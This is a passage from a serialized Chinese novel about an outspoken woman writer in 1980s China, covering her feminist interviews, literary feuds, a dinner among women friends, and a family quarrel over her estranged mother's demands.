“你不知道,我也不知道。你看,他们极力推崇的榜样却连自己的名字都不配拥有。我希望他们能真正的言行合一,即谁提倡谁实践。他们喜欢贤惠的,无私奉献的,那就让自己去成为这种人;他们喜欢小脚就去裹自己的脚;他们喜欢贞洁,就应该用锁锁住自己。” 白衣飞快地记下宋知南的话。 宋知南稍稍停顿了一下,再接着往下说:“我们女性一直都是他们男性叙事的边角料和点缀。 在他们的笔下,女性只有两种形象,要么是地母:沉默寡言、无私奉献、任劳任怨;要么是荡漾的妇女,人人喊打喊杀。 女性千千万,性格本应丰富多彩,为什么却只有这两种形象?为什么我必须也只能写他们规定好的?文学不可以创新吗?不可以颠覆吗? 我就是要写坏又叛逆,尖酸刻薄的女主角,她们的魅力在于脑子聪明,在于语言犀利,在于动手能力强。 在她们身上,传统美德肯定是没有的,古代的才女会吟诗,现代的才女会‘作对’,她们各有各的美。 我就是挑战他们的阅读舒适区。他们不习惯,那是他们的问题,我建议这帮人改改自己的口味。为什么别人觉得没问题,就他们觉得有问题?” “我看过您写的《嫁人不要嫁文学青年》,让我这种文学青年醍醐灌顶。文学青年不能嫁,那您觉得什么样的男人值得嫁呢?” 宋知南:“都不值得嫁。” 白衣微微一惊,接着问道:“您为什么这么觉得?” 宋知南笑道:“因为大多数男人的真爱根本不是女人,他们会占有女人、利用女人、剥削女人,但极少有人爱女人。他们还没有进化可以欣赏女性灵魂的地步。 他们的真爱一直都是同性,是男人。 男人犯罪,他们辩护;男人犯错,他们宽容;男人出轨,他们说这是迫不得已。请问,这不是真爱是什么?真爱就是不管你做什么,我都无条件爱支持你爱你。他们完全做到了呀。” 白衣突然不知道该接什么话,静了几秒,接着提问:“我听说前段时间您的好朋友格羽为了诗人明河自杀,您当众骂她,现在她怎样了?” “她很好,她应该不会想不开了。” “您对明河怎么看?” “他是业内著名的傻叉和人渣。” “您觉得明河这样的人为什么能获得那么多女人的青睐?” “因为男人最大的魅力是女人的想象力,很多女人的想象力只用在想象男人的魅力上。” “这两年有很多女性开始解放思想,追求爱情,您觉得这是一种时代的进步吗?” “我个人觉得,解放思想是对的。但没必要用追求爱情来表达。我再次重申一下我的观点:绝大多数男人身上没有爱情,爱情是一种相当高级稀有的情感,只有人中龙凤才会拥有。向普通男人要爱情,那是在难为他们,我们要心疼他们,不给他们增加负担。” “您的这种观点是逆潮流而上,但大家的眼中,您一直是时代的弄潮儿,无论是伤痕文学、反思文学还是改革文学,您都先大家一步,为什么唯独在爱情观上却逆流而上呢?” 宋知南无奈地说:“可能这一次步子迈得太大了,领先半步是先锋,领先一步是先烈。我就是那个先烈。” 白衣听到这句话,眼睛不由得一亮,赶紧飞快地记录下来。 白衣想起什么,补充道:“对了,我妈特别喜欢你的《独身女人》,她说‘可能因为我也是独身女人,我深深地理解书中的女主角。作者对男人的了解相当深刻,我在婚姻中得到的经验和教训,她全写出来了。’” 宋知南问道:“你父亲不在了?” 白衣笑着摇头:“不是,他们离婚了。他非要出国,我妈不想去,两人就离了。” 白衣的采访进行了一个多小时,两人交流得还算愉快。她对于自己不理解的部分会虚心地请教,对于自己无法认同的地会尽量给予理解,没有道德审判,没有令人不适地追问。 三天后,白衣的独家专访《我所知道的宋知南》,上了头版头条。 白衣的文笔挺好,视角独特,挖掘得也够深。这篇专访被多家报纸杂志转载。宋知南因为打人造成的负面影响也被冲淡了许多。 紧接着,又爆出一个大新闻。 电影《女人的风格》还在持续上映,票价2毛钱,票房却达到了惊人的1个亿,也就是说全国将近3亿的观众看过这部电影。它的成绩惊掉了业内人员的下巴。如此小成本、且没有大明星加盟的电影竟然收获如此漂亮的成绩。 其他电影厂纷纷前来找宋知南买版权。 宋知南说电影改编权已经卖掉了,但电视剧改编权还没卖掉,他们可以考虑一下。 有个姓白的导演心动了,但他一看宋知南拿出来的合同,不赞同地说道:“你这个合同不符合业内的规矩,电视剧跟电影不一样,几十集的剧,肯定是要添加人物和剧情的。” 宋知南说:“添加剧情可以,但得经过我的允许。而且不能随便添加男主角,不能把原本属于女主角的戏份安到男主角身上。” 白导突然沉默了,他真的是这么打算的。他觉得改革这种有挑战性的大事,男主角做才更让人信服。就算是女主角做,那也是频频出错,最后还是得男主角出来收拾烂摊子,女主角先是不服男主角,然后慢慢被男主角吸引,最后转为佩服,一佩服,爱慕不就来了?两人的感情线不就有进展了?观众肯定喜欢看。 宋知南一看白导这副神情,摇头:“算了,你跟胡乱导演的胡导差不多。版权我也不卖了,今天就到这儿,我就不送了。” 白导先是惊讶,接着是生气,最后起身道:“错过我这样的导演你会后悔的。” 李群英听说此事后,安慰道:“这事不急,我再帮你打听打听。你也该收收心,赶紧把主要精力放在修改《青阳往事》上面,这一部小说将是你写作路上的里程碑,你得拿出百分百的精力去对付它。我之前建议让冬宝来帮你处理杂事家事,现在他来了。我怎么觉得还是缺点什么,你应该再找一个人帮你处理跟写作有关的事,比如卖版权,跟导演记者打交道之类的事。” 宋知南说:“你说的这种人叫作家经纪人,国外有,咱们国内还没听说。” 李群英对作家经纪人很感兴趣,就让宋知南详细说说。 “打个比方说,如果你是我的经纪人,我可以把除了写作以外的事情都交给你打理,电影电视剧改编、出版等等。然后我的收益也会跟你分享,比如给你5%的收益做为报酬。但这个经纪人也不是一般人能做的,她必须既有人脉擅长交际,又懂一些文学,还得懂点谈判技术。” 李群英自言自语道:“我怎么觉得我就挺适合呢,不对,我的人脉还是太少。” 电影上映2个多月后,宋知南收到了第一批分红,1亿票房除掉各种税收,电影院线的分成,国家影视基金的抽成之后,营利只剩下了3千万,宋知南按照合同约定分到了300万。 据老吴打探来的小道消息说,电影厂的某些领导觉得宋知南的分红比例太高了,有反悔的意思。 但导演于红林坚决要按合同来。 她提醒这些领导:“你们想想毁约的后果,她会收回后面的电影版权,以后咱们再没有合作的可能了。不光是她,作家圈的那帮人一旦知道咱们不讲信用,以后谁还敢跟咱们合作?再者说,以宋知南那种怼天怼地的性子,她会放过咱们?她一定会一边打官司一边骂咱们。咱们的脸面和名声还要不要了?” 宋知南假装不知道电影厂领导的小心思,一牵扯到巨大的利益一定会有冲突的,对方只要敢悔约,她一定会让对方悔不当初。好在结果是好的。 拿完分红后,宋知南买了一栋房子奖励自己,房子是前院邻居的,上次来问过,宋知南去看了一眼,房子还行,价格也不贵,只要1万二,她就买了。 处理完一波杂事,宋知南开始闭关改稿。写文像建房,又累又难。改文像装修,是另外一种累。她时不时地产生一种挫败感和发疯感,有时实在烦了,就把稿子一摔:“他大爷的,不改了不改了。我干点啥不行啊。” 过了一会儿,又把稿子捡起来重新修:“写作是我的理想,是我的使命。我不写,谁写?谁写也不如我自己写,我的思想只有我能表达出来。” 干了这碗鸡血,继续干。 心灵鸡汤为什么那么盛行?因为有时候真的管用。 为了更好的激励自己,宋知南让宋冬宝把几个文坛老登中登的照片放大后挂在书房的墙上。 每当她不想努力的时候,就抬头看一眼这些人的照片,问自己:“你想把文坛让给这些人吗?不,你不想。不想,就给我写。” 在同行们的反面激励下,宋知南终于完成了《青阳往事》第一卷。她觉得这个名字太普通,想换个更好的,无奈一直想不出来。她也不明白了,为什么她一骂人就妙语连珠,金句频出,一到取正经的文名就文采平平?难道她的天赋点歪了? 她征求大家的意见,大家也没想出更好的名字。 钱梦秋说道:“你这个文名虽不太出彩但也没出错,至少读者一看就知道你要写是什么。” 李群英突然说道:“要不就叫《冢中花述》,大家都说你的《他的家,她的冢》名字取得极好。而《青阳往事》中占据大篇幅的是女人的故事,刚好契合这个文名。” “这个名字我喜欢。” 吴总编想说这个名字不够大气,但考虑了一下还是作罢。 《冢中花述》第一卷在《燕京文艺》长篇专刊上分期连载。第一卷修改完毕,宋知南又开始了修改第二卷。因为有了前面的经验打底,第二卷顺利了许多。 时光飞逝,转眼间就到了1985年春天。100万字的《冢中花述》终于完稿。这部大长篇,耗费了宋知南3年的时间。 这一年,宋知南30岁。 对于30岁的到来,她有些好奇,且感触良多,但并没有年龄焦虑。 30岁也没怎样,她的身体和精力跟二十多岁时几乎没有区别。反而是脑子更聪明更智慧了,毕竟又长大了一岁嘛。 至于说三十而立,她十几岁就立起来了,现在立得更稳。 那为什么那么多女人为它焦虑呢?大概率是社会想让你焦虑。你若不焦虑又怎么会急急忙忙地结婚生子?你不结婚生子,他们吃谁去? 宴席早就摆好了,食客们都拿好叉子刀子等着了,就差你这盘大菜上桌了。你不急,别人就该急了。 宋知南自己不焦虑,但别人却总替她焦虑。 这年的12月份,第二届矛盾文学奖评选结束,宋知南再次获奖,这次获奖的一共有3部作品,女作家张桔也获奖了。 这下各大媒体又开始兴奋整活。 记者们把两人团团围住,一个接一个的问题向她们抛过来,当然,问的最多还是两人的感情问题。 “宋老师,请问您这个年龄段的女作家是怎么平衡写作与家庭的?” 宋知南浅笑道:“根本不用平衡,我的家庭只有我、我的猫狗。你说我需要平衡撸猫和写作吗?我就不能一只手撸猫一只手写作吗?” “可我记得您的弟弟跟您一起生活?难道您不用照顾他吗?” 宋知南诧异道:“我弟弟的工作就是照顾我,怎么还要我照顾他?难道你领导给你开工资,你不用干活,他还得反过来在生活上照顾你?你们单位的福利待遇这么好吗?” 记者:“……” 现场响起了一阵笑声。 这个记者被挤下来,下一个顶上来:“宋老师,您今年30岁了,您还没有丈夫和孩子,您会感觉到遗憾吗?” 宋知南静了几秒,语调突然变得深沉起来:“你们别看我现在这么乐观开朗,怼天怼地,其实每当夜深人静的时候——” 记者们流露出一副“果然如此”的神情,现场突然安静下来,大家都在静静地等待着那个预想中的答案。 宋知南说到这里,语调突然上扬:“我就蒙着被子大笑,哈哈哈,幸亏我没结婚没生孩子,要不然怎么会过上这么好的日子?我生怕自己笑得太大声,会吵到邻居。” 男记者们震惊且无语,在场的女记者愣了一下,呱唧呱唧鼓起掌来。 大家接着提问:“您是一个作家,身份不同了,以后是否会改变自己的性格?” 宋知南:“我为什么要改?没有个性的作家能叫作家吗?” “有企业请您去做顾问您会去吗?” 宋知南摇头:“不去,我怕他们公司倒闭了,赖我骂倒的。” “有读者反应说不喜欢您的作品。” “不喜欢就别看了呗,不喜欢还看,这人是不是贱?” “还有人建议你别写了。” “这个问题我回答过,现在仍然是同样的答案:我想对说这种话的人提个建议:您别活了。” “这话是不是有些刻薄?” “他试图谋杀我的创作生命,我试图谋杀他的生命,他在先,我在后,他种豆得豆。刻薄吗?如果有人你建议你去死,难道你就听话地去死?” 记者:“……” “你会与这世界和解吗?” “我早就和解了呀,我并没有推翻这个世界的意图。” 这时候,有一个年轻女记者终于挤到了前面,高声提问:“宋老师,如果有一个男人完全没有您骂的那些男人的缺点,他人品极好,长相英俊,性格温文尔雅,无比专一,还非常地爱你崇拜你,请问,你会接受他吗?” 现场又安静了几秒,大家目光炯炯地盯着宋知南,他们非常想知道答案。 宋知南朗声答道:“第一步,你先把这个人给我找出来;第二步,把他带到我面前,我看一眼他,然后再会告诉他,行啦,你回去吧,我还是看不上你,但谢谢你让我长了见识。我叫你来只是想见见世面。毕竟我长这么大,什么世面都见过,就是没见你这种好男人。” 第153章 《冢中花述》又掀起了一波新的讨论热潮。 这部小说就像一面镜子, 折射出人生百态。有人从中看到自己,有人从中看到别人, 有人因此受到激励,有人醍醐灌顶,瞬间清醒,也有人感觉到恐惧和不适。 那帮评论家一看又来活了,一篇篇评论流水线似地炮制出来。 其中叶致秋的评论《冢中花还是恶之花?》反响最大。 “真的难以想像,一个作家竟然对生她养的家乡怀有如此大的敌意,她用刻骨的讽刺嘲讽着文中的每一个男性角色。 他们明明都是很正常的父亲、丈夫。怎么到了作者眼里就成了十恶不赦的坏人了?可见作者对男性的偏见已经深入骨髓。 我读男性作家的作品完全没有这种感觉,他们笔下的故乡是美丽温馨的世外桃源,是他们心灵的一片净土。他们无论走到天涯海角都会在心中为故乡留一个角落……” 宋知南的回应很快就来了:“这位叶致秋同志明明活了几十年,却在那儿装青涩少年;明明在祖国生活了几十年,还搁那儿装外宾, 表示对我国的传统习俗根本不懂。 故乡为什么是男作者心中的净土?那是因为他们在家乡是光宗是耀祖。 他丑他傻, 但只要他带把, 他就是家中一霸。 他浑他坏,但爹娘就是爱, 家门永远为他敞开。 父是他的父, 母是他的母,他还是姐姐妹妹的奴隶主。 这样的好地方谁不称为心灵的净土? 猪离乡贵,人离乡贱,他在外面哪有在家受人待见? 我们女作者在家做不完的家务,带不完的弟妹,挨不完的骂。 家务是我们的,好吃好玩的是兄弟的, 上学机会是很少有的。 我只是揭开真相的一角,你们就大呼受不了。 我一说实话, 有人就跳脚大骂。 你问问你姐你妹,问她们小时候累不累? 你问你奶你妈你姑,问问她们到底苦不苦? 你妈坟墓里面头惊坐起:傻叉竟是我亲儿! 你奶也跟着一起惊坐起:你说多丢人,这蠢货竟是我亲孙。 你爹潜力大,坟墓里哈哈哈:我儿脸面大,竟劳宋女士亲自骂。” 这篇别具一格的谩骂体文章刊登在各大报纸上,读者喜闻乐见,争相传阅。 叶致秋本来身体就不好,一看到这篇文章,眼前一黑又一黑,一口老血喷了出来。他又气病了。 他这一病,有些人的道德感就来了,写文章指责宋知南不尊老不敬老。 宋知南对此又写了三篇文章回应:《给叶某人的墓志铭——死了都要骂》、《买肉买肥肉,敬德不敬寿》,《亲帮亲邻帮邻,乌龟向着王八亲》。 她不但骂了叶致秋,把为他说话的人也骂得灰头灰脸、臊眉耷眼。 除了叶致秋之流,也有个别正常的评论家,人家是正经评论小说的。既有肯定也有批评建议。 宋知南也不是一点意见都听不进去,对方要是提到点子上,态度又好,她愿意真心求教。问题是大多数评论家都在狗叫。 这些人,人话不会说,张口就是骂,每次都骂不过,但下次还来骂。你说他们不欠虐,谁信? 这帮人一次又一次地证明了宋知南那个理论的正确性。 除了评论家,全国各地的读者也给宋知南写信,出版社和杂志社收到几麻袋信。 宋知南没法一一看完,就让宋冬宝先筛选一遍。她挑拣一些有代表性的信回复到报纸或杂志上。 宋知南骂完人,处理完杂事,请老周、吴总编、钱梦秋、李群英格羽等人吃饭,以示庆祝。 席上,大家推杯换盏,笑声不断。 大家纷纷祝贺宋知南:“宋老师,祝贺你。” “你好好休息一阵,再开始新的长征吧。” 就连小要文也用汽水瓶跟宋知南碰了一下杯:“南姨,你以后要经常得奖哦。”这样她就可以经常下馆子了。 宋知南笑着说:“谢谢要文同志的鼓励,我一定会再接再厉。” 要文挺喜欢这个称呼,显得她像个大人,她郑重地对其他人说:“以后,你们都叫我要文同志吧。” 大家齐声大笑。 钱梦秋认真地问:“宋老师,您说您的作品有可能获得第三次茅奖吗?” 宋知南摇头:“不大可能了。我获奖两次,已经开始有人质疑茅奖评委会了。” 获得两次,她已经很知足了,得给后面的新人留出机会。她可不能像有些老登似的,自己上了车门,就把车门焊死不让别人上。 李群英问:“你有没有可能获得诺贝尓文学奖?” “不大可能。诺奖要的不是我这种风格的。它的政治性大于文学性。我觉得什么奖项都比不上读者的认可。他们才是我的衣食父母啊。” 大家笑道:“你说得对。” 吃完饭,其他人都回家去了。宋冬宝带着要文去公园溜冰。 李群英宋知南格羽罗静林四人沿着马路,慢慢往回走。 格羽已经走出情伤,她失恋后灵感大爆发,去年刚出了一本诗集,宋知南亲自给写的序言。 罗静林的短篇小说《妈妈上学》获得全国短篇小说一等奖,她还出版了一本短篇小说集《女人的山》。 罗静林比宋知南小一岁,今年也29了。家里天天催她找对象。她试着谈过两个,都不欢而散。 文化圈的男人,她是看透了,不想沾染。别的圈子的,她认识的又不多,还有就是对方也不太理解她。 她认识了一个搞科研的,对方一听说她时间自由,就欣喜地说:“那可太好了,家里的事以后都归你管了,我正好专心搞研究。” 罗静林瞪大眼睛:“我是作家,我不需要时间写作吗?” 对方不以为然地说:“你抽空写就是了,写作不像我们科学研究,又不用费什么脑子。” 罗静林冷笑道:“就你这种脑子还搞科研呢?别把我国的科研搞退步了。” 这次依旧是不欢而散。 她29岁了,明年就30岁了。父母亲戚经常提醒她,有些朋友也经常提醒她。 罗静林最近非常焦虑。 她看到宋知南似乎一点也不焦虑,就忍不住想向她请教。 “南姐,你为什么不焦虑呢?” 宋知南笑着说:“30岁其实是一个非常美好的年纪。我一过了30岁的生日,脑子突然更清明了,人也变得更智慧了,逻辑更清晰了。 不要为自己的年龄而自卑,不要迎合别人的心理需求。 尼采说过,要在自己身上克服这个时代。他克服没克服我不知道。但我已经克服了。 一想到这个社会上的很多人想让我自卑、臣服,想让我焦虑着急,我就更加坚决地认同自己,绝对不能让他们得逞。我的存在就是让他们焦虑难受。一想到他们难受,我就特别高兴,哈哈哈。” 其余三人一脸佩服地看着宋知南。 什么叫听君一席话,胜读二十年书,这就是。 格羽也提出了自己的疑问:“南姐,你说我们女人真的可以一个人幸福地过一辈子吗?” 宋知南点头:“当然能。我们人生的主角本来就应该是我们自己,怎么会不幸福呢?” 格羽说:“可是很多人和书都在告诉我们,一个人是很悲惨的。 自从我的父母去世后,所有认识的人都同情我可怜我,说我很悲惨。他们告诉我,等我长大后嫁了人,有了自己的家就幸福了,我一直也是这么认为的。我渴望有人温暖我救赎我,所以我才像个傻子似地去恋爱去付出。” “他们靠近你,是想让你燃烧自己温暖他。怎么可能会温暖你?救赎你的只有你自己。” 两人越提问,越有疑问。 罗静林笑着征求宋知南的意见:“南姐,要不,我请你再吃一顿,咱们接着聊?” 宋知南笑着拒绝:“不吃了。我二姐从河东来了,我得回去看看。我跟白衣和于红林她们约好了,晚上在我家聚一聚,你们俩要是有时间也过来热闹热闹。” “一天吃两顿,是不是不太好?” 李群英笑道:“吃吧,咱们去劫富济贫。” “哈哈,好。” 宋知南又让李群英问问钱梦秋来不来。 宋知南回到家里,就发现宋知夏正在院子里忙碌。 宋知夏是今天早上到的,宋知南请客本来想带上她,但她实在太困了,就没跟着去。 这会儿得空,宋知南就跟宋知夏聊一会儿家常。 宋知夏说:“三妹,前段时间,咱妈联系我了。” 宋知南平淡地“哦”了一声,等她继续往下说。 宋知夏语气低沉:“她的身体很不好,可能活不了多久了。” 宋知南也有点意外:“她今年才60岁吧?” 宋知夏苦笑道:“她年纪是不太大,可你别忘了,她高龄生子,身体受到了很大的损伤。她说她在那边过得很苦,继子跟她不对付。她嫁的那个男人比她年纪大,还得她照顾伺候。” 宋知南摇头:“你说她这是何苦?如果她留在家里,有房子有工作还不用生孩子,顺利熬到退休,现在也是一个精神焕发的老太太。她非要没苦硬吃,又怪得了谁?” 宋知夏观察着妹妹的脸色,说:“妈最不放心的就是她生的那个儿子,她让咱们照顾他,尤其是你,她说想要见你。说你既然真不准备结婚生子,留着那么大的家业也是便宜国家,不如留给自己亲弟弟,将来小弟会给你养老。但我替你拒绝了,让她别想那么多,也没把你的地址和电话给她。” 宋知南嗤笑一声:“死前还不忘做个大梦。” “她还说,如果我们不答应照顾小弟,她死不瞑目。” 宋知南冷酷地说:“没关系的,她睁着眼也不耽误烧。” 宋知夏字斟句酌地说道:“妈提的条件确实挺离谱,你当然不能答应。我担忧的是,我怕她来个鱼死网破,对记者胡说八道,会不会影响你的社会形象和名誉?”这种事,她妈干得出来。 宋知南笑了一下,说:“我这人从小就叛逆,谁要是敢威胁我,我就跟她干到底。这样吧,你替我写封信,在信里告诉她,让她不要担心,火葬场烧不闭眼的尸体。 另外就是,她就算曝光我,我也不在乎,因为我也不是靠好名声起家的,我是靠骂人发家的。 请她多想想她的小儿子,我能让他变成第二个宋秋实。她吃了那么苦受了那么多罪,最后还是没儿子。我就问她能不能接受这个结果?” 宋知夏既意外又不意外,三妹的性格一直都是这样。 宋知夏按照宋知南的意思给李玉华写信。 宋知南想起什么,又补充一句:“对了,给她的那个后夫也写一封,告诉他,如果他胆敢利用我的名声搞事,我让他和他的儿子们都变成太监。写信太慢,你明天跟冬宝一起去邮局打个长途告诉他们。” 两人正在说话,宋冬宝提着溜冰鞋回来了。 他笑着叫道:“二姐三姐,我回来了。咱们晚饭吃什么?” 宋知夏把他叫过来,把李玉华的事告诉他。 宋冬宝气得满脸通红:“这还是亲妈吗?她抛弃了我们,几年不管不问,现在还威胁上三姐了。不行,绝对不能让她得逞。” 宋知南说:“明天你跟二姐去给他们一家打个电话,把我的意思传达过去。” 宋冬宝思考片刻,做出了一个决定:“三姐,其实要割那个男人也不是什么难事儿,大不了咱们赔点钱完事儿,最坏的结果也不过是拘留十天半月的,我没事儿。” 想到这里,宋冬宝突然一拍桌子:“对,就这么办,你光用嘴说,他们不一定害怕,还是得亲自过去一趟。到了他家后,我就握着把刀,死死地盯着他们,盯得他们心里发毛。吓吓他们,顺便再见妈最后一面,也算咱们全了孝心了。” 宋知夏听得心惊肉跳,她转念一想,竟然觉得冬宝说得有道理。 “那这样吧,现在是寒假,我正好有时间,咱俩一起去,也好有个照应。” “太好了,咱们一起去。” 宋冬宝赶紧去收拾行李,他想得很明白,他能有现在的好日子都是三姐给的,绝对不能让三姐有任何闪失。这一次事情要是办好了,他在三姐心中的地位再升高一级。 他宋冬宝可不仅仅会洗衣做饭摆小摊,他有大用处。就拿这事来说,谁干都没有干合适。他威胁别人那是轻车熟路。 等宋冬宝收拾完行李,宋知南让他去饭店订两桌菜,再准备些点心和饮料,晚上聚会用。 宋知夏也跟宋冬宝一起去准备。 晚上6点,朋友们陆续到来。 这次来的都是女同志,钱梦秋、李群英、白衣、格羽、罗静林、于红林她们都来了。 “南姐。” “宋老师。” 宋知南站在门口热情地招待大家,她还把宋知夏介绍给众人。 “这是我二姐宋知夏。在河东师大当辅导员,趁寒假来看我。” 大家纷纷跟宋知夏打招呼。 “你好你好。” 大家随意入坐,色香俱佳的饭菜陆续端上桌。 格羽夸道:“哇,冬宝你的厨艺进步这么快。” 宋冬宝礼貌地笑笑:“这是从饭店订的。” 大家发出善意的笑声。 等菜上齐,宋知南拿出酒和饮料放在桌上:“有茅台,有葡萄酒也有米酒还有饮料,大家随意,想喝什么喝什么。” 她们女同志聚会没那么多破规矩,从来不劝酒。 格羽说:“我喝点白的。” 于红林豪气地应道:“我也整点白的,白衣你也来点?” 白衣笑着应道:“行。” 李群英她们跟宋知南一样选择了温热的米酒,宋冬宝拉着宋知夏跟他一起喝葡萄酒:“二姐,这是法国干红,三姐的朋友从法国带回来的,可高档了,我都没舍得喝。” 饭桌上的气氛相当热闹。 “宋老师,我想把您的《冢中花述》拍成电视剧,不过我还在四处拉投资。” 白衣说道:“于导想拉投资,我这儿刚好有一个合适的人选,牛抗美,她最近也想投资影视剧,就是没遇到合适的项目。” “牛抗美?那个很有钱的红三代?” “对,就是她。我跟她认识,要不要我介绍你们认识一下?” “要,必须要。白衣你是我的贵人,咱俩走一个。” 白衣笑着跟大家伙说起牛抗美的事情:“这姐妹虽然是个红三代,但为人挺仗义,性格豪爽不拘小节,关键是她人脉特别广,三教九流的人都认识。她有个特点,就是喜欢好看的年轻的男孩。上次还让我给她介绍个漂亮的男演员,这种人脉于导肯定不缺呀。” 于红林笑道:“确实不缺,她想要什么类型的都有。” 李群英在旁边说:“白衣,那你能顺便带上我不?我也想拓展点人脉。” “可以啊,过两天我组个局,介绍你们认识。” 格羽连喝两杯白酒,还打算再喝,被罗静林按住了:“你的胃不好,不能喝这么多。” 格羽以前不喝酒,明河爱喝,格羽跟他谈恋爱期间也学会了喝酒。 格羽苦笑道:“你就让我喝吧,一醉解千愁。” 罗静林偷摸给她杯子里加了白水,饶是如此,格羽也喝得半醉。 她看着大家推杯换盏,高谈阔论,不禁有些恍惚。以前明河家里经常这样,只不过她那时是服务人员。现在的她是嘉宾。 大家吃完饭后,宋冬宝把残羹剩菜撤下去,在旁边的茶几上摆上茶点,大家都挺随意,有的歪靠在沙发上,有的半趟着。 格羽本来就有很多问题想问宋知南,这会儿又喝了酒,谈兴更浓。 白衣做为记者,对八卦和话题非常敏感,赶紧凑上来旁听。 “南姐,我看了你的《冢中花述》才知道你的家世也很悲惨,为什么你的身上就没有那种、那种悲剧气质?” “悲剧气质?我觉得我的身上有喜剧气质。” “你别说,还真的有。” 格羽神色忧伤:“我爸妈离开后,我的魂也跟着他们走了。那种失去至亲的痛不是一次性的,而是像梅雨一样绵绵不绝。我知道这样不好,我知道我应该好好地活下去,可是我总感觉我的心缺了一块,我没有力量,没有方向。” 格羽说着说着眼眶红了,她赶紧道歉:“对不起,我好像破坏了气氛。” 白衣赶紧给她递上纸巾,轻拍她的肩膀安慰道:“我理解你的感受,因为我也经历过这种痛苦。但咱们活着的人只能带着伤往前走。” 罗静林和李群英也过来安慰格羽。 宋知南也温声问:“格羽,你爸妈活着的时候对你应该非常好吧?” 格羽的眼泪喷涌而出,不停地点头:“好,特别好。那是我一生中最幸福最快乐的时光。我长大以后拼命地想复制那一段美好时光,我甚至试着从比我大很多的男人身上寻找父爱,但我一直没找到过。我发现根本没人真正的爱我。” 宋知南说道:“怎么会没人爱你呢?你爸妈爱你,静林爱你,我们也爱你,还有你的读者也爱你。” 格羽愣住了。大家不自觉地安静下来听宋知南说话。 宋知南说:“我觉得爱应该是广义的,不应该只局限说男女之爱吧?” 格羽点头,众人也赞成这个说法。 宋知南接着说:“格羽,你从《冢中花述》和别人的文章中知道了我的身世,我爸被我哥杀了,我妈改嫁了,这是个悲惨的故事。 但是你知道吗?对我和二姐来说,这其实不是最悲惨的,最惨的是,他们活着时也不爱我们,他们只爱儿子,哦对,只爱带把的儿子,一旦把没了,儿子也不受重视了。你比我们幸运的是,你曾经拥有过父母的爱,我们从来没有。你要把幸福的童年化作你生活的动力,不要再觉得自己可怜,也不要觉得自己没人爱。你不可怜,你有人爱,只是爱你的人不在了,但他们的爱仍在。” 格羽安静片刻,动容地说道:“南姐,你说得对,我爸妈不在了,但他们的爱还在。为什么我以前就没想到这一点呢?” 宋知南把话题再扯回到自己身上,“西方哲学家荣格说,幸福的童年可以治愈一生,不幸的童年要用一生来治愈。我的很多朋友困在了后面那句话上。 有一天,我突然顿悟了:治愈个头。我的一生那么珍贵,什么样的伤害也不配我用一生去治愈。 后来我看到一个姓黄的辩论家说,原生家庭对你一生的影响,就像是火箭上升,一开始当然是地球引力最强,但后来会有月球火星,宇宙很大,你可以给自己找到第二颗星球。 他说得对,我很快就找到了第二颗星球,第三个星球。我离开我的原生垃圾星球后,发现宇宙浩瀚,星辰万千。 我不仅是父母的孩子,我还是宇宙的孩子,是大自然的孩子。他们不爱,但宇宙爱我,大自然爱我,朋友爱我,还有全国乃至全世界的读者爱我,我身上的亿万细胞也爱我,我的猫狗也爱我。 我拥有这么多高质量的爱,为什么要执着于父母的爱?那一对平庸、鸡贼、算计的男女的爱,有那么珍贵吗?” 大家一脸震撼,南姐太才华横溢了,随便一出口就是一篇极精彩的演讲。 白衣出于职业习惯,已经从兜里掏出记事本刷刷记录。 宋知南轻拍了一下格羽的肩膀,看了一眼旁边一脸呆滞的宋知夏,说道:“这世上除了极个别的幸运儿,谁不是带伤生存?真的猛士,敢于一边流血一边战斗。咱们女人就是这样的猛士,你们说谁例假期间不上班不上学?那是不是在带血战斗?” 第154章 于红林噗地一声把嘴里的茶喷出来了:“南姐, 你前面把我感动得眼泪汪汪,后面又让笑出声来。你说话可真有魔性啊。” 于红林说完这话, 突然一拍大腿:“我知道《冢中花述》的基调是什么了?就是笑中带泪,让你愤怒让你哭的同时还能让你笑。这就是现实主义讽刺喜剧。人生百态全部摆上来,任君挑选。你是谁,你就能从中看到谁。” 一场聚会,格羽从中得到了治愈,于红林找到了灵感和人脉,白衣得到了写作素材,大家各有各的收获。 九点半,大家意犹未尽地离开宋家。 临走时,于红林说:“宋老师,以后这种局要常组, 既有意思又有收获, 谁不愿意来?” 其他人也附和道:“是啊, 以后要常聚。” 宋知南笑着说答应,并说:“大家路上注意安全, 谁家路远不便, 我让冬宝送送你们。” “不用不用。我们离得不远。” 于红林跟白衣还没聊够,两人一起走,边走边聊。 钱梦秋家就在附近,不用送。 格羽和罗静林住得稍远些,宋知南让冬宝送送她俩。 宋知夏在家休息两天,跟宋冬宝一起坐上了开往乌鲁木齐的火车。 这一去最少得半个月,宋冬宝细心叮咛:“姐, 你可要好好照顾自己,记得按时吃饭啊。你不想下馆子又懒得自己做饭, 就去隔壁群英姐家蹭饭。” “行,你放心吧。” 送两人上了车,宋知南回到家里已经是中午了。 要文从幼儿园放学后就跑过来叫宋知南:“南姨,走啊,到我家吃饭去。我奶奶今天做好吃的了。” 宋知南笑道:“我还真来蹭饭了。” 几天后,白衣组了个局,介绍于红林和牛抗美认识,李群英也跟着去凑热闹。 她回来跟宋知南说:“牛抗美这人还真挺有意思,大大咧咧的,说话很好玩。她跟于红林聊得挺投契,感觉这次合作有戏。 哦对了,人家一听说咱俩是好朋友还是邻居,对我可热情了。她非常喜欢你,很想认识你。下个星期她在西城饭店请客,想请你吃饭,你给面儿不?” 宋知南想了一下,说:“既然人挺有意思,那就见一面吧。” 牛抗美整得挺正式,还特意让人送了请帖来。 到请客那天,宋知南稍一收拾,就带着李群英去赴宴。 两人要出发时,要文蹬蹬追上来,眼巴巴地望着李群英:“妈妈,你是不是忘了什么了?” 李群英认真想想:“我带了包了,还忘了什么呢?” 要文指指自己:“我呀。你是不是忘了带我了?” 李群英哭笑不得,跟要文解释道:“妈妈这是为了应酬,带着你不方便,你留在家里看家,乖。” 要文撇撇嘴,哼了一声转身回去了。 李群英对宋知南笑着说:“这小家伙越来越有主意了。” “人家长大了嘛,现在得叫她要文同志。” 两人一边说话一边往西城饭店走去。 牛抗美在饭店门口等着两人,她大约三十来岁,个子挺高,身上有一股飒爽之气。 李群英介绍两人认识,牛抗美略有些激动地上前握着宋知南的手:“宋老师,您能赏光前来,我真是太高兴了。我早就想认识您了。您写的那些小说读起来太带劲了,我跟我姐妹一起看,我把她的大腿都拍疼了。” 宋知南笑了笑:“你说话确实挺好玩。” “唉,我这人就是嘴贫。” 牛抗美一边说话一边领着两人进包间,两人一坐下,她赶紧张罗着倒茶水,拿来菜单问两人想吃什么,有什么忌口的。 